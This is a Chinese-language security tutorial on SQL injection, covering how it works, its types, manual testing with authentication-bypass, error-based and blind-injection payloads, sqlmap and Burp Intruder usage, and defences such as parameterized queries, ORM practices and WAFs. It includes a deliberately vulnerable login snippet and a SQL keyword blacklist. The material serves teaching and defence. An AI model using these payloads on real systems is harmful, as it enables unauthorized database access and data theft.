米桃安全漏洞讲堂系列第1期:SQL注入漏洞
字数 1831 2025-08-18 11:35:46
SQL注入漏洞全面解析与防御指南
一、SQL注入概述
1.1 漏洞原理
SQL注入(Structured Query Language Injection)是一种攻击者通过构造特殊输入,欺骗服务器执行恶意SQL命令的攻击技术。其本质是对用户输入检查不充分,导致SQL语句将用户提交的非法数据当作语言的一部分来执行。
漏洞示例代码:
uname = request.POST['username']
password = request.POST['password']
sql = "SELECT all FROM users WHERE username='" + uname + "' AND password='" + password + "'"
database.execute(sql)
攻击示例:
当攻击者输入password' OR 1=1时,SQL语句变为:
SELECT all FROM users WHERE username='username' AND password='password' OR 1=1
这将绕过认证,返回所有用户信息。
1.2 漏洞分类
按注入点分类:
- 数字型注入:注入点为数字类型,如
id=1 - 字符型注入:注入点为字符串类型,通常需要闭合引号
按请求方式分类:
- GET注入
- POST注入
- Cookie注入
- HTTP Header注入
按回显情况分类:
- 显注:错误信息直接显示在页面上
- 盲注:无直接回显,通过条件判断获取信息
- 布尔盲注
- 时间盲注
1.3 漏洞危害
- 数据泄露:拖库攻击导致敏感数据泄露
- 数据篡改:修改数据库内容,导致业务流程异常
- 权限提升:获取数据库管理员权限,进而控制服务器
- 服务器沦陷:通过写入文件操作植入Webshell
SQL注入漏洞通常被评级为高危或严重级别。
1.4 常见注入位置
- 表单输入(特别是认证表单)
- 下拉列表
- URL查询参数
- HTTP头部字段
- Cookie值
二、SQL注入测试方法
2.1 手工注入流程
阶段一:发现注入点
判断方法:
www.abc.com/index.php?id=2
www.abc.com/index.php?id=2 and 1=1
www.abc.com/index.php?id=2 and 1=2
若第二条请求返回正常,第三条返回异常,则存在注入漏洞。
通用测试payload:
' or 1=1
a' or 1=1#
a' or 1=1--
1' or '1'='1
1') or ('1'='1
a" or 1=1#
a" or "1"="1
123" or "1"="1
a' OR 1=1 OR '1'='1
a" or 1=1 or "1"="1
#' and 1=1 --
#' and 1=2 --
阶段二:数据库信息搜集
获取数据库信息:
-1')and (extractvalue(1,concat(0x7e,(select user()),0x7e))) -- # 获取用户名
-1')and (extractvalue(1,concat(0x7e,(select database()),0x7e))) -- # 获取数据库名
阶段三:盲注猜解技术
数据库名长度猜解:
'and(1=if((length(database())=7),1,(select 1 union select 2)))and' '='
数据库名猜解:
'and(1=if((mid(database(),§3§,1)='§e§'),1,(select 1 union select 2)))and''='
使用Burp Suite Intruder模块自动化猜解:
- 设置位置参数(§3§和§e§)
- 第一个参数字典:1-7(数据库长度)
- 第二个参数字典:a-z,0-9,_-
2.2 自动化工具注入(Sqlmap)
基本用法:
sqlmap.py -u https://example.com/123456.json?serviceName=0 --level=5 --dbs
参数说明:
--dbs:探测数据库名--level=5:最高探测级别
支持的数据库:
MySQL, Oracle, PostgreSQL, SQL Server, Access, DB2, SQLite, Firebird, Sybase, SAP MaxDB
注入技术:
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入
- 堆查询注入
三、SQL注入防御措施
3.1 根本防御方法
1. 参数化查询(预编译语句)
Java正确示例:
pst = conn.prepareStatement("select * from user where name= ?");
rs = pst.setString(1, user.getUsername()).executeQuery();
错误示例:
String sql="select * from user where name="+Name;
conn.prepareStatement(sql).executeUpdate(); // 仍然存在注入风险
2. 输入验证
白名单验证:只允许特定格式的输入
黑名单过滤:过滤特殊字符和SQL关键字
String badStr = "'|and|exec|execute|insert|select|delete|update|count|drop|*|%|...";
3. 正确使用ORM框架
MyBatis/iBatis注意事项:
- 使用
#进行参数化:select * from user where name =#Name# - 避免使用
$拼接:select * from user where name =$Name$
LIKE语句处理:
- MySQL:
CONCAT('%',#param#,'%') - Oracle:
'%'||#param#||'%' - MSSQL:
'%'+#param#+'%'
4. 最小权限原则
- 使用低权限数据库账号
- 限制应用账号的数据库操作权限
3.2 企业级防护措施
应用上线前防护
- 安全开发培训:提高研发人员安全意识
- SAST源码扫描:使用Fortify、Checkmarx等工具
- IAST灰盒测试:部署Agent监控运行时行为
- 渗透测试:黑盒方式发现漏洞
应用上线后防护
-
WAF防护:
- 拦截常规扫描和攻击
- 推荐开源WAF:长亭雷池(https://github.com/chaitin/SafeLine)
-
SRC平台:
- 自建安全应急响应中心
- 或使用第三方托管平台(漏洞盒子、补天等)
-
DAST扫描:
- 定期黑盒扫描(Xray、Goby等工具)
四、总结与展望
SQL注入作为OWASP TOP10常客,其危害性不容忽视。防御SQL注入最有效的方式是在开发阶段采用参数化查询等安全编码实践,而非依赖后期的防护措施。
随着技术发展,SQL注入也呈现出新的特点:
- NoSQL注入风险上升
- ORM框架不当使用导致的注入
- 云环境下的新型注入手法
企业应建立完整的安全开发生命周期(SDL),从需求、设计、编码、测试到运维全流程把控,才能有效降低SQL注入风险。